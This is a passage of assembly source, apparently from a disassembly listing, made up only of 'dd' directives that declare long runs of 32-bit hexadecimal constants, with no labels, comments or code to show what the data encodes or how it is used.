		dd 717B9314h, 0ECCDF4h,	7D4A07Ch, 39DCE534h, 2225010h
		dd 6473C472h, 76050090h, 6E2032F5h, 3E0DA0A7h, 40504107h
		dd 0FD5743E8h, 0D5AC6F01h, 81067B6Ah, 0FAD0EDF0h, 0B95009F6h
		dd 3C008501h, 0D47E24D5h, 7A3C5602h, 419AB161h,	0B2FDD824h
		dd 780A8AECh, 8100995h,	40802EEDh, 52B791B1h, 8C63333Ch
		dd 188FA962h, 243C0509h, 90798B44h, 8D81E250h, 0F275A1C5h
		dd 2DCD4CA0h, 0B8870EDEh, 0B5B434E9h, 81C84034h, 0D409803Dh
		dd 9064E535h, 33DF14h, 0D15E6530h, 0B53DBDAEh, 52585C03h
		dd 0C129A28Ah, 1080BFEFh, 5E5F92D1h, 591FB34Eh,	0A90709D3h
		dd 5DB0A217h, 0B8ADDC3Dh, 0F0990E80h, 28BB06DBh, 58BE3833h
		dd 0E100EC1Fh, 68844CF1h, 0EB10A200h, 0F409209h, 334D0101h
		dd 4BE452A7h, 8181D93Dh, 8D638941h, 0E2E0B2C9h,	5DEA39E6h
		dd 1C4A5C0Eh, 608E99CEh, 0EB70696Ch, 0F65EB600h, 5D2A4E52h
		dd 63B8C27Eh, 0BC03ADB8h, 0D5900FD3h, 2918BF35h, 0B63A7E4Dh
		dd 4F1060FBh, 0FA725EC2h, 0E978A0E1h, 0BD173E49h, 4CE48502h
		dd 9882D37Eh, 24820DD5h, 188F1D32h, 40C0F8Ah, 79E50Bh
		dd 0D972AEC0h, 0E1C08356h, 30C07E7Fh, 0CF5F7DDDh, 6CB600DAh
		dd 0BD2815F7h, 860018D8h, 0C9463B65h, 3EED3090h, 101C1EAAh
		dd 40DA5EE8h, 0D5AECD71h, 4F00A537h, 1B32A4B9h,	723ACCBh
		dd 8A3C5556h, 0B34980FCh, 8200BAA9h, 868E9BABh,	333D28ECh
		dd 0B6A82731h, 0A5886244h, 0DB9D9CA0h, 7FE41152h, 0B95CFD30h
		dd 517246DAh, 45D09247h, 141E50D8h, 3F2BE831h, 600A2717h
		dd 0C1BC2D0Ch, 20F32C3Dh, 7031F04h, 0C1310AA1h,	2B583B76h
		dd 8484DBA8h, 0FC240028h, 0E4307A63h, 0B8A2D375h, 6B603C01h
		dd 5518800Ah, 0D4AB793Bh, 0B939C04Bh, 0A5EED2DAh, 0D6608D0Ch
		dd 0E018D8h, 55415B31h,	0F063C4Eh, 0AB40040Ah, 61B0E8EBh
		dd 483318h, 0BE5061F2h,	4C4FACDBh, 135BE600h, 8E183286h
		dd 0FDB3069Eh, 706D083Dh, 5CFECB0Fh, 80FC14D5h,	0B95E6030h
		dd 7E8C3CE4h, 9A157ABCh, 9D04F871h, 878A335Fh, 0AFBAB125h
		dd 43A0515Ch, 8840A864h, 0EBB813Ch, 0FDE5E1E3h,	0A2DF6387h
		dd 5118E936h, 8000B431h, 0CEB45C3Dh, 84DFF089h,	81485F42h
		dd 926DA038h, 7C285E66h, 0D842F945h, 0B5280374h, 48FEC9C1h
		dd 2E3160F4h, 55EB00Ah,	3C807C24h, 4E2A6532h, 3CC00A64h
		dd 0A1CFCC9h, 45E01CD8h, 0DBAC00CFh, 66605F6Dh,	1EE46B48h
		dd 0DE146217h, 708A0CE4h, 3192381Eh, 9A284A43h,	464080BFh
		dd 3DA61D6Fh, 75E50132h, 6CA1E317h, 30B8707Bh, 1953B00Fh
		dd 7A13A598h, 8A4BDC01h, 782078DBh, 0D3041258h,	0BB3C0656h
		dd 7107908Ch, 36D590F1h
		dd 4D1CFFC0h, 502A78B2h, 4C79080Eh, 0F7846CAAh,	8B5C81D7h
		dd 95E9C424h, 56E001E8h, 81E68909h, 0AB60D5C6h,	0E9ECEE83h
		dd 10C27A30h, 3D73B551h, 0AA18E5D0h, 0E78914A5h, 1AC7812Ah
		dd 0E51901EDh, 241C2187h, 0B1469FB3h, 0B90714B7h, 3E3059CEh
		dd 3C6FB2h, 0AC388605h,	2D400F00h, 0B141E6Dh, 58C70021h
		dd 8104EFC1h, 101841F7h, 0D00D2FB5h, 0E92D0DADh, 0ECC21906h
		dd 0B40F04C5h, 99299963h, 59D0D1ECh, 6664C7D2h,	37BD2155h
		dd 0EB31D846h, 89F65DF2h, 77E9DE0Ch, 50F7266Dh,	6C2E8C14h
		dd 14B10B5h, 5E68B4C3h,	61D94C0Ch, 69F2BF00h, 0EF8152C5h
		dd 290DEE62h, 0F9ADC0FEh, 1ABAE3FFh, 0B9510363h, 6DC502B8h
		dd 0E9CF0906h, 15086F6h, 0F82DE801h, 0D428AD71h, 21051FEEh
		dd 0C0835D7Fh, 0F3E4A904h, 507A8B0Ch, 99E0893Dh, 5B16FBD7h
		dd 0C7AD0CD8h, 0E281D1C3h, 0E05F4BEDh, 526B87Ch, 21188F5Dh
		dd 0DCA91FC1h, 556B8C02h, 5D33EBE5h, 352165Eh, 4CEA8012h
		dd 0C2AACAFEh, 22709243h, 0C375D37Dh, 0F665E918h, 0D22434D7h
		dd 89830707h, 0B2CFF2E2h, 9BFBAA6h, 0C1EF292Ah,	5FBC5754h
		dd 0E1D0E919h, 0B0402120h, 3C4EE81h, 0F7675219h, 5C3C1DEh
		dd 0DA41606h, 10C1D62h,	0A93E1B7Dh, 9D0E73E9h, 0A68C523Eh
		dd 2668EF8h, 68240C8Bh,	0D6AD48ABh, 52E1CC10h, 9855BA48h
		dd 27AA0Ch, 0C28155C5h,	74BC3820h, 1DE94A0Ah, 0F48B8398h
		dd 58A8876Eh, 0F6F5851Fh, 5EF2D741h, 5AB98752h,	0A515F9BFh
		dd 7D76F8FBh, 0D6B30039h, 3559C829h, 0CB3E654Eh, 0F283903Fh
		dd 67DE4B28h, 0D5C34F5Eh, 4FA8490Dh, 34FCA800h,	8915B1A2h
		dd 9D05FFDh, 24ABC2E9h,	0E504ECB3h, 27D850Ah, 2F14082Ch
		dd 92035D40h, 0A0C18180h, 0FA575577h, 41706318h, 30C101EEh
		dd 871092F5h, 895C7A03h, 0CC88A004h, 46653068h,	6B2E91Ch
		dd 0EA1DB092h, 6DD82F28h, 2451770Ch, 88C26A8h, 4AB16E07h
		dd 19CF74FFh, 1942A3A2h, 0A09C882Ch, 5A01BF41h,	2962AC36h
		dd 8ACA0F1h, 2A49A4FAh,	0EC517C6Bh, 67BA5462h, 5AD790E2h
		dd 5F0CF901h, 0B320B268h, 0C6F25461h, 5316A0C4h, 991104BBh
		dd 8101C039h, 98EF2CF9h, 75AE448Dh, 0FEE09834h,	9910D06Ch
		dd 28732510h, 28848D8Bh, 0A1545128h, 9F229A41h,	641CAD0h
		dd 0C1F9B660h, 0D0D2F60Ah, 0A8AB20EAh, 5AD58804h, 5B88EE20h
		dd 0E50732E9h, 230E83BCh, 83DB2C14h, 0E941BFD0h, 9924A336h
		dd 0F290A1DAh, 90254F0h, 8BD00140h, 2C05FADh, 0D58042DAh
		dd 15B53ECEh, 27E27490h, 0E914B372h, 0D3FFC422h, 0D59F0821h
		dd 250685C3h, 6010FA51h, 16416C59h, 1223FA3h, 545029D1h
		dd 505658Fh, 0BE5605h, 5EF00106h, 61551168h, 1746F6E0h
		dd 108F5832h, 43FBBB5Ch, 1D50FA66h, 7D5A1A1Eh, 1D888627h
		dd 34FE3D08h, 8282BDDh,	0E1B05E2Bh, 0E6F9F766h,	11A53B68h
		dd 50645FEFh, 0D1A1C29Ch, 0FCEE1C48h, 650E5612h, 71D16F1Dh
		dd 5BCA7648h, 10E94178h, 485C020Dh, 1F2D6876h, 937BC815h
		dd 48B4413Ch, 0CFDDF795h, 67AF0CF0h, 0EB818301h, 49906429h
		dd 41376430h, 0D0C5D4EEh, 0A4B199h, 82508h, 0B0505966h
		dd 0C1770462h, 2CB35326h, 5B40D81Fh, 0ED801734h, 0C5283A5Ah
		dd 1658EAF2h, 659EB88h,	0C3046E2h, 0E915DDF2h, 9F9827BDh
		dd 56239822h, 0F5450B51h, 255F324h, 214947BDh, 85086870h
		dd 3D9E088h, 1A1E1CB9h,	0EF6229F2h, 0D591BBA2h,	5F31ED21h
		dd 0C8462EDh, 0C3192CABh, 2AF7C568h, 190C3408h,	0D9687F14h
		dd 120E231Eh, 6D165A54h, 0A80C4236h, 485BE96Bh,	0ABD56852h
		dd 37C98101h, 0D8079E74h, 4C4CEEF1h, 0CA3112AAh, 0DD66C415h
		dd 362BC380h, 51011F13h, 804D9D3h, 89E92B20h, 8932D4AEh
		dd 0B4E4DA41h, 3807995Bh, 369E5745h, 68123F59h,	3034476Fh
		dd 5042585h, 3ECDC6ADh,	305B6584h, 4A17CCC8h, 50F42048h
		dd 61418069h, 0AC111AA6h, 1881ACBFh, 0E3802612h, 0C3FEAB16h
		dd 2CF5E802h, 5E1E412Bh, 0E1B4D2F7h, 0A366F309h, 0E7533459h
		dd 0AEE88314h, 1BC88078h, 0CDBF0082h, 0F6133809h, 2925F94Dh
		dd 0DF8F8211h, 24F8C9BBh, 8B6C138h, 0B82CCF56h,	0CB05A7A8h
		dd 37263579h, 2C03B907h, 83686B00h, 202D9257h, 0BA095514h
		dd 80E46FE2h, 5247CA15h, 0C1053D2Ch, 207708AEh,	536D0684h
		dd 327412E9h, 58905F71h, 1D041C09h, 44390078h, 0B81A3635h
		dd 28E8481Eh, 0DE6855C0h, 4C7E1E53h, 0A8D8D434h, 8A21FD12h
		dd 5B0313EDh, 0F405F2DFh, 0F4792BC1h, 809A0784h, 9D293275h
		dd 130A834Ch, 0B640969Ah, 0F67EE401h, 31864029h, 80669E88h
		dd 3B14BDBBh, 4C8C796Eh, 655C1DDDh, 2101F39Dh, 0D3F7463Eh
		dd 0C02C85F0h, 0E211C657h, 297E384Eh, 0C32CE6B8h, 66F25DBh
		dd 7E2CC0FDh, 0B3AF2EADh, 56D69FFDh, 5E854C26h,	510B06Eh
		dd 0F22C7CFEh, 0E3D1142Dh, 60A74B2Eh, 0E020FEB9h, 0D9F73D1Fh
		dd 71308C9h, 9C635031h,	0BA7804E4h, 81866A7Fh, 4257E2CFh
		dd 0D9802C96h, 32353ED1h, 430929B0h, 43B9CAEh, 1CD02809h
		dd 35E77342h, 15AC154h,	0CEAB65D1h, 59CBC409h, 307EBF8h
		dd 0BABF5752h, 81AEB337h, 0C605B4A5h, 0EA617960h, 9860E7E3h
		dd 0DB5C8173h, 5F47A0F4h, 0F10F1390h, 862DE868h, 0F7B2DCD0h
		dd 21934662h, 55F0CF8Bh, 0EAC52A6h, 3FC2BDF1h, 49C111A6h
		dd 35972AEh, 0D63E8BC2h, 5857E268h, 5F543B23h, 29CCB8BFh
		dd 29143896h, 0E27DF6A0h, 2DB80EC0h, 983A4424h,	4858738Ah
		dd 0B415CFDh, 7ACAD8DBh, 5E646632h, 6282A537h, 681C3DA9h
		dd 7318068Ah, 16D4BDC9h, 53271F95h, 0EE3185B9h,	0F28B565Dh
		dd 80F3F540h, 745CEB68h, 0A701DEF4h, 8B777208h,	0FBB66E2h
		dd 0AA4387EDh, 0A6831096h, 0A3A58092h, 1A015956h, 0E908E7C1h
		dd 8D240B2Ah, 0F23EB8CAh, 9050BB6h, 0FB282925h,	0C8C22408h
		dd 4D023CECh, 98350FAEh, 2D44B040h, 22730D00h, 39E9403Eh
		dd 80B6C3FCh, 0F698F9E6h, 0C678FEBFh, 10C2D9E4h, 6931E92Fh
		dd 0BFD9576Eh, 0BA02AD2Ch, 594D588Eh, 0F84A3669h, 90BA4EF0h
		dd 0E3895315h, 850690EEh, 6ED01C87h, 1A5F0C7h, 0F9897F27h
		dd 32C8315Fh, 46751BE8h, 0CB2DA06Bh, 20BD0542h,	126BF42Ah
		dd 55D70FF8h, 0C1D50185h, 550EF77h, 0A1673FDDh,	0A6B8DD40h
		dd 0D4A920DCh, 8F785A7Dh, 37956C30h, 5143E4C7h,	0E1D8F598h
		dd 2F2D307Fh, 1175A20Ch, 7E01513Eh, 0A208EF51h,	57F9140Ch
		dd 73ECC020h, 58257CE0h, 0A40A9057h, 6C015802h,	13B70492h
		dd 3D6CB214h, 0B6EDFC89h, 108A01Eh, 0DBB5357h, 207BEE42h
		dd 6C09EA9Ah, 88311C98h, 1B03B509h, 0B72D9B67h,	3779EC91h
		dd 6088E9F8h, 2CF6DDAAh, 177CFBA1h, 52D1F358h, 982D1E1Bh
		dd 0A84EF889h, 8B0A07E8h, 331B121Ch, 0C106E688h, 88645C0Dh
		dd 0CB022002h, 47218492h, 2EBD8015h, 0F7751E33h, 0CD81D500h
		dd 4BF840F4h, 95BE0056h, 525C7A03h, 5712D3BAh, 2C022738h
		dd 4AEAD104h, 0BF664031h, 0AD332621h, 20FA20D6h, 0C3DE5B58h
		dd 0E313FC0Ch, 37F2A4EAh, 38AE1433h, 764413Bh, 3F277FBBh
		dd 0DEB44AB5h, 44F3CBE2h, 0EBD88705h, 1C3011A4h, 774A60DDh
		dd 20723D9Fh, 470BDCE3h, 2314997h, 0E67E4C28h, 8E68165Dh
		dd 831E3746h, 10474935h, 558254F5h, 7690E5F6h, 454A58A6h
		dd 0E252AE13h, 62F62789h, 964B4E30h, 586A28CAh,	4D6EA9Dh
		dd 1142E606h, 0CC680AE8h
		dd 0EBB11103h, 0B84D0F7h, 0F751505Ah, 744481Bh,	2E9C4E12h
		dd 0C9CBC052h, 40D6019Ch, 3F1A5C42h, 3016357Ch,	40E540DBh
		dd 2D5E4839h, 0D15F160Eh, 5D76A022h, 90294B77h,	0AD078338h
		dd 2D5B1100h, 58CF1225h, 6400735Eh, 5012F38h, 1F4C7061h
		dd 0DB341064h, 58C63C7Bh, 0E503E02Dh, 0E88A28B5h, 6695FD65h
		dd 6EE90AF8h, 7BBC7EF4h, 0A8223696h, 0F45D5EF0h, 98DA3FCFh
		dd 0EEFFF061h, 0D94A1389h, 72370012h, 12E9946h,	81CDE68h
		dd 14031C34h, 75E806E9h, 0CA5C344Ch, 5449910Ah,	0FDE52058h
		dd 3DED6009h, 0B0068056h, 3D6F141Ah, 18CCC15Dh,	1D22BC10h
		dd 3ECCC829h, 90E245D1h, 2470F4A3h, 1AF0698Bh, 86090DCCh
		dd 885348A1h, 5BD8C8CBh, 63B1C2EAh, 7A5C02C2h, 0C7BF0592h
		dd 8254A02Fh, 8105F7A8h, 0E098A01h, 1FF007FCh, 700A9E29h
		dd 11633F68h, 4B2EDE57h, 0D014710Ah, 9B00059Dh,	0B8E28365h
		dd 0E65AF601h, 34584EC2h, 0B2BC84C7h, 0F116D6A4h, 2C9AE208h
		dd 0A0C603DBh, 0C1807146h, 960406E6h, 10FF8E9h,	4BE0BCA5h
		dd 28039150h, 30567A0Dh, 68241B43h, 0D2917D26h,	0E763A1A0h
		dd 90FB31FEh, 9F781DFh,	640B4415h, 34628300h, 13B1972h
		dd 0E005BDF9h, 0A2C5A3Eh, 4C83A28h, 76AB247Ch, 0F58981DDh
		dd 395A555Eh, 29C45468h, 0A5235B9Eh, 0C3A6B1A4h, 0F191AD16h
		dd 53623A82h, 0CB411607h, 0A185B513h, 209D2582h, 220ADE82h
		dd 9A526B99h, 72666401h, 12D1E934h, 0B7584D94h,	0E3FB104Eh
		dd 0F482A1B6h, 75BAA7C8h, 4D056005h, 62925431h,	4C6A4A40h
		dd 1F1B9E47h, 0D518CC5Dh, 0E5D65B1Eh, 40500462h, 1F4FF773h
		dd 8C5D5B54h, 0E90FF3F5h, 264D0E32h, 7396CBDh, 1B585FCEh
		dd 7D886B29h, 356C3208h, 59307FF0h, 784FFE4Ah, 1487625h
		dd 6B053EE2h, 86D2F770h, 0C1BCFD1Ch, 58C02068h,	36F07192h
		dd 46D64570h, 6091B8Dh,	5CA20638h, 385EC760h, 0E92C2A09h
		dd 87F3A544h, 0A4FCA01Fh, 5F97390Dh, 2A655508h,	0D3FBFC73h
		dd 433601B6h, 617D6008h, 0D35342BEh, 0BFB0D366h, 3B5D2320h
		dd 0C298DFF6h, 0DE29DE8h, 7A1B4A15h, 78327EFEh,	81CF6571h
		dd 291638FEh, 5EF7048Bh, 614EF960h, 6322863h, 7F8C1881h
		dd 5F73E0Eh, 0EE515680h, 0C42B6C3h, 9CEE015Ch, 0C750B5B0h
		dd 872D5FECh, 482A122Ch, 492F68A3h, 7E18F31Fh, 0DCB92AD2h
		dd 78906614h, 11CE0596h, 6F800E04h, 0ED874CE7h,	24E90D70h
		dd 0B4EDA133h, 0C0A8F26Ch, 0EC23A360h, 21C66829h, 6954188Eh
		dd 0F85F215Bh, 9A550E0Fh, 0E5E78537h, 1C716099h, 6C1AAF37h
		dd 278244E3h, 40487FA7h, 166034AEh, 712FCD86h, 562C4846h
		dd 0DB7E5907h, 3CEDC023h, 0AF0EFD6Fh, 4DE9EB01h, 9E203C34h
		dd 7F834D0Fh, 9816134Fh, 0A084EAD0h, 0A65DE113h, 48E9A2F9h
		dd 0F4DBF71Ah, 130158EBh, 331D5A06h, 211CCE6Ch,	897E4159h
		dd 0A9BEE9D1h, 0D60C0162h, 0D3303F60h, 0FCAB414Dh, 0CD2C6783h
		dd 0B2041115h, 0EDC40E64h, 469259D0h, 6C5A782Eh, 952404D6h
		dd 0B288A36Bh, 0A06A89A2h, 0C718FD05h, 985F683Fh, 0BA3A2807h
		dd 0F1122CE3h, 96C3821Dh, 0B6605435h, 6E9A9BB5h, 16F627C4h
		dd 52EF6590h, 71AF3014h, 0A65723C4h, 0B10304BEh, 3A2E4772h
		dd 52AC2C24h, 810516FDh, 0D8D1B90Dh, 0BF51111Ah, 0E62A8005h
		dd 293A2D17h, 0A0E92BCFh, 0A6F688B0h, 33CE3119h, 375E6523h
		dd 0A61495E6h, 0E30B7324h, 657BF668h, 46E985CCh, 2102913Fh
		dd 0F72530CFh, 0DE05E10Ch, 35E94970h, 65F443B0h, 20052408h
		dd 0A9F680Ah, 275329BEh, 621E5A9Dh, 5308C4B6h, 4E094BBBh
		dd 9937902h, 54C14C4h, 77822024h, 45C985Eh, 0CB6834EEh
		dd 815CAC79h, 0B663E950h, 12A2938Ch, 3240CDEBh,	72565E59h
		dd 0B85B5C34h, 53C50189h, 0A3BE3493h, 73E094D5h, 58E9E713h
		dd 24548084h, 82BE3D7Dh, 92E94A90h, 3CEF59DEh, 507C8610h
		dd 0CF403CE3h, 0FC2CB821h, 8B346290h, 0FF4C59CDh, 0C3A16492h
		dd 37F1EE8Eh, 7A60DA6h,	5CB3E1D2h, 8083C848h, 0CE5875E9h
		dd 7F09DE02h, 0F13627EAh, 0D20196F2h, 10E02041h, 0B8EEB162h
		dd 8B9083Dh, 660576CBh,	0F282F368h, 980DD081h, 33CD599Dh
		dd 0FDB8542Ah, 0E9DE06A6h, 30903BC6h, 7307840h,	0C0B60FC3h
		dd 0D787F7FFh, 8D1A995Eh, 0E808D9F3h, 5D7220B7h, 4DC5E45Fh
		dd 0BFE02D59h, 8B9D1478h, 38869D99h, 0E0C299Eh,	93EA669Ch
		dd 344BC4F4h, 0E9C44341h, 9367EF6Fh, 1DA45ED7h,	633198E1h
		dd 715734ACh, 0C774359h, 61C1B58h, 443C2DB4h, 17DA0B0Ch
		dd 0DD8443C6h, 20B0C9F0h, 362EEE51h, 0C90D2E0Dh, 0B860F5C4h
		dd 36934542h, 0CA611017h, 0BE412925h, 7747E8FBh, 1FF62BC1h
		dd 1660A370h, 6A7E09CEh, 0B5800D29h, 21A44A10h,	943E917h
		dd 18220B21h, 0C5039329h, 6F4F7BD9h, 0F41EAE30h, 1A0FDB0Bh
		dd 76CD9A85h, 53080F58h, 3B0E8BE9h, 5B89C148h, 100505B0h
		dd 51FA1417h, 72D2C0Ah,	0A6244B3Eh, 1820B1A5h, 1A69002Eh
		dd 0BEEB8149h, 1955732Bh, 20A8E091h, 0C135861Fh, 0C3021BAEh
		dd 61DCEEB9h, 6478A12Ch, 0D8FE4E31h, 21F66121h,	5E8C960Ch
		dd 0C9AC2B1Fh, 4328D71Ah, 0E90BF38h, 0D82942h, 3C685352h
		dd 5B1D6A4Dh, 22E3C131h, 5035B14Fh, 0C9E8012Bh,	339343A4h
		dd 0E54411A6h, 0D9F8ED00h, 0EE89079Eh, 0E6035D79h, 5CA22E73h
		dd 2F50B6C1h, 0C311408Dh, 176A7231h, 0C489F2C8h, 9CA80EE0h
		dd 302B69FDh, 0C04203CEh, 0D9E95161h, 0EE8224E3h, 1027A3EEh
		dd 4620B201h, 0D44B9088h, 0CB78B41Bh, 75E6C739h, 6D815724h
		dd 0F9360939h, 6564826Dh, 4D72EEEh, 0F3C5F67Fh,	310600B7h
		dd 0E5C14A4Dh, 7057B807h, 7E200630h, 81245FE9h,	1C8BF913h
		dd 0FA608D9Dh, 407B4A17h, 68BF57D2h, 64487427h,	524220CCh
		dd 84621B5Ch, 0ABDBF130h, 848A4CB1h, 6414BD00h,	7E903BE0h
		dd 38E1CE80h, 9E07F16h,	80E14B12h, 5EC8A61Ch, 0B84800C2h
		dd 0A6809FCh, 479F2D01h, 1FE942F0h, 0CCC9133Ah,	609855F9h
		dd 12890244h, 0C4F2E9CDh, 8B1B9444h, 2CB290E9h,	16403711h
		dd 0F6712850h, 0D0134BA9h, 2D2B0D35h, 0E0213F25h, 2D2456Fh
		dd 0C331E0C9h, 2BD20158h, 18B6E918h, 0D4F76636h, 5A343812h
		dd 8BDA56DDh, 2F520254h, 68503E9Ah, 62263CEEh, 754D50ECh
		dd 7218C6C8h, 196BFC24h, 4600E3CAh, 4B289262h, 34E92655h
		dd 478F8B4Ch, 7D1C9C86h, 0FB1A1CC5h, 3BB9BA4h, 0F74B7653h
		dd 0A0C5C1D2h, 41949BCh, 712A386h, 0B1256F00h, 7A0C1669h
		dd 29425DEAh, 135D8D40h, 1408C35h, 8B2206B8h, 0E8DD206Ah
		dd 29215F18h, 30F2CB18h, 0FD44E404h, 3E61ED7Ah,	87440A0Ch
		dd 4076D520h, 0D2C056F8h, 6CFF28A3h, 5CDE4889h,	8BBCA8B4h
		dd 767D2E29h, 0E985E88Ah, 66B9B03Fh, 18575A48h,	50111EB3h
		dd 75D7CB4h, 2882B753h,	0FE5BA0FCh, 0E40ED0CCh,	676FEC80h
		dd 0E3E773EBh, 6653C387h, 10144C58h, 32F91913h,	12102934h
		dd 3FA1929Fh, 3CAFF921h, 0A9C14BB8h, 0E2201B05h, 17C2CA29h
		dd 0B636EC37h, 58351B0h, 5821ADB4h, 0E22F2AFBh,	5CB0F009h
		dd 0B3B1ED83h, 2A805C12h, 7CC0F0B6h, 8AECC1E6h,	0CCFCEF80h
		dd 283C1BC6h, 97EE3AFEh, 5E1C885Bh, 0C44B7E18h,	0C8043802h
		dd 882CE817h, 3B40B4DEh, 31DE17F7h, 87A1BCEh, 0E50B96EFh
		dd 90C3F601h, 0F0296D87h, 12CE0660h, 75A5504h, 414A3A02h
		dd 0E3C20179h, 1E081395h
		dd 5C0960DAh, 44393168h, 4BCCF08Dh, 0BE52215Fh,	0E9F58401h
		dd 48C84CE6h, 50899D48h, 0CF011330h, 0C6335928h, 54D6E910h
		dd 94FC6840h, 0CF661691h, 0E9AB44CDh, 160A7D5Dh, 0B681CCB3h
		dd 10BC530h, 5266D5F6h,	4BC39BB2h, 0FF33C80Ch, 99569395h
		dd 0C02C02C6h, 52F5C9A4h, 2DA5273h, 8F673009h, 0CEEB603Fh
		dd 334018A6h, 54580C61h, 0C11F55F6h, 85F903EEh,	1EBFFB9Bh
		dd 0C501B913h, 0F2011AC3h, 816B944h, 2705BC09h,	7CF65BF3h
		dd 985F7C78h, 0CB94251Eh, 5B8463B4h, 41539C81h,	85DDB7C0h
		dd 54575A14h, 0B8C571C5h, 25835A95h, 0AD713F1Dh, 0BE9A2B95h
		dd 55D1465Ah, 0E5057583h, 39846077h, 0AA89C600h, 69E99259h
		dd 1B8041EEh, 36F878ACh, 0A50963B0h, 0C14B2659h, 0E6D4C990h
		dd 0FF5FFE01h, 3E5D9F40h, 4F4748B3h, 6E2D420Eh,	82F78944h
		dd 0CCF93501h, 0CC4F11A5h, 0F68194C6h, 8C2D59AAh, 1900164Ah
		dd 305F0B7Eh, 3017D866h, 720E432Eh, 0CB818008h,	7636323Ch
		dd 58F30B1Dh, 0EF0F52ECh, 6BADF789h, 2CFE30FEh,	0CBC0F648h
		dd 65C58FC0h, 0C6B36574h, 0E8208890h, 0F40BF2F6h, 0E27C974Dh
		dd 0F0D23AABh, 29A10A8Bh, 29990319h, 0FBA63CA1h, 52E2A855h
		dd 275818E0h, 0FCC20193h, 40276542h, 1D141FBDh,	0D0F71A00h
		dd 5D2AF52Dh, 21353B77h, 29740B0Bh, 8F33D7C0h, 66E15F9Ch
		dd 9932BB0Fh, 0C0BEC51Ah, 0D4A1EC78h, 7722707Eh, 680E6D9Eh
		dd 534D3D0h, 0F012BDF8h, 53E33530h, 0F2FD2DA8h,	0E3FA9109h
		dd 169F092Ch, 0F37700EBh, 1DD80198h, 0B9016090h, 26F1540Eh
		dd 826C4C31h, 81226615h, 0D983F301h, 0D12962A7h, 0CAF1E45Bh
		dd 0C03B4F13h, 0A9933216h, 5A07E46Ah, 7AEB7252h, 6817306Ch
		dd 0E8340B2Ch, 5326378Ah, 0B8BE5809h, 18D15B14h, 655600BEh
		dd 4A057D09h, 2FDD1E44h, 17FDBB2Dh, 0C5B50C5h, 5E8FF34Fh
		dd 804B1097h, 2C3D6168h, 0A5DAF1E9h, 0F1E893A4h, 2A24072Bh
		dd 25449655h, 0C324A29Ch, 8B418B64h, 0D9CB8D2Eh, 58016FBEh
		dd 5884083h, 9DF8A768h,	0F44F507Fh, 6B4E880h, 80D401F6h
		dd 0B151DAE4h, 2FD1E1A7h, 0B15DD623h, 9A48CC08h, 78AD8004h
		dd 3CE92786h, 0E0BA2660h, 3384150Bh, 4A4DC081h,	3E1C4C21h
		dd 0CC0B2517h, 0BF9C63FFh, 0D0F65904h, 0C63074C1h, 0E909573Dh
		dd 45DBEB46h, 0C6015A87h, 594F8BEEh, 87183C4Ch,	0C78010ACh
		dd 0AB70E590h, 204FB29Ch, 29685EF5h, 6AA9A84Dh,	520AD4A0h
		dd 0A74BF8E7h, 0D8795B8Dh, 4EEF3365h, 0FED9CB06h, 7D117979h
		dd 284BF709h, 744349FAh, 31480C3Bh, 69E7334Ah, 68D79A78h
		dd 4021E96Fh, 0C8778814h, 0ED297E4h, 28C39F00h,	0C05BDF6Ah
		dd 99BF7A0Ch, 0D80B29C9h, 59F369E9h, 4FD99D36h,	31A9404Fh
		dd 50013358h, 613E7F68h, 85D85879h, 0B919A84Ah,	0E91DC45Bh
		dd 29BBD1BCh, 0BAEDCD3h, 0A2B5014Ch, 2DDAD8F7h,	0E561EFC0h
		dd 0EBE5931Ah, 7F017FCCh, 9C902CDDh, 81D989F8h,	9A7F0001h
		dd 4E0FF47Ch, 9400BFB9h, 898AD644h, 29592DCEh, 0DC567262h
		dd 5C7C0942h, 3B044F2Eh, 209EB513h, 0E665A058h,	78A3C885h
		dd 572D593Fh, 38EBF09h,	7F944CE2h, 2B98A380h, 0EBEC3A77h
		dd 0AC502A3Dh, 0D4310F63h, 590215C0h, 812EF271h, 6767E950h
		dd 50EFC585h, 178167Fh,	0CD7FB58h, 2E292105h, 1C110A2Dh
		dd 8DD91392h, 0EECFCE1Dh, 22283046h, 0AC61ACD9h, 7F0C686Ch
		dd 0AB64316Fh, 820E6EF6h, 20481891h, 0F6BB97E4h, 6C2DCED9h
		dd 251CC193h, 0E63063D9h, 28015AC2h, 325E9FEh, 579D10C9h
		dd 52373168h, 322CAC1Dh, 49992EBh, 0A32C32EDh, 0E9CAF493h
		dd 0E6EFDF27h, 605F4FF0h, 0E2523C93h, 4B8505F9h, 90E13C95h
		dd 3425EAE1h, 572FDC00h, 0DB7E586Fh, 0A228B201h, 65F38772h
		dd 5808A8F3h, 1606E520h, 0E003EDC1h, 952D1B4Dh,	8AC7E32Ch
		dd 69465C5Ch, 0B252E8A0h, 0F2338037h, 827306CEh, 7E1F62D0h
		dd 0D3BE0187h, 5C21DC18h, 8982E9Ah, 65CF66B6h, 689070BFh
		dd 0D48D8h, 54213919h, 0A86D7B35h, 17E9911Fh, 750CC9ADh
		dd 0F60B08CCh, 540F495Dh, 525B5409h, 89873879h,	0D3F25DEAh
		dd 273D5B5Ah, 6D020B6Ch, 0F7793C50h, 68380DDh, 0BD628368h
		dd 0D0961C19h, 810F3E40h, 0EE0520F7h, 55DFA511h, 0B887EC2h
		dd 730BCE00h, 0C118407Fh, 95AC07E6h, 12840239h,	835BDE29h
		dd 5AC0D462h, 0B70B4B94h, 789EE919h, 285C5C00h,	9D08AB21h
		dd 0FD010BBAh, 0E0617505h, 9B2E680Bh, 6CEB247Eh, 2FB227C6h
		dd 0BEB1B49Ah, 6E0B9908h, 7D78505Fh, 0B858C7C4h, 8087CA63h
		dd 5ED55C15h, 32E9413Ch, 5A3096B6h, 41024D61h, 3D702238h
		dd 0EE95DD7Dh, 44342730h, 40C6B976h, 3C366856h,	0C03E1825h
		dd 783B849Ch, 73408223h, 45BC8E27h, 28F70588h, 37FB0F03h
		dd 6565398Ah, 0EFA446E6h, 5F80D25Dh, 6872F9F7h,	95A70752h
		dd 5869895Ah, 0EF831423h, 2307F301h, 0E22D6E64h, 0DA5C10A1h
		dd 0E8B9C362h, 1E5EE238h, 0CC094402h, 2916FAF3h, 0ED4DFB77h
		dd 68592C80h, 85F51C45h, 8018A9FCh, 0B4EED531h,	0D99FF65Ch
		dd 0F73D7F1Eh, 0C4054D04h, 1EFE955Fh, 824F4136h, 3BDA3156h
		dd 88008634h, 429C7CF5h, 1CEA4C09h, 0A2F2C44Fh,	97F635E9h
		dd 68097DE6h, 85183235h, 10935F54h, 43EF6804h, 2653B4A3h
		dd 0B745BD4Ch, 0C5E1C460h, 5E260931h, 7E4E0069h, 70E9281Eh
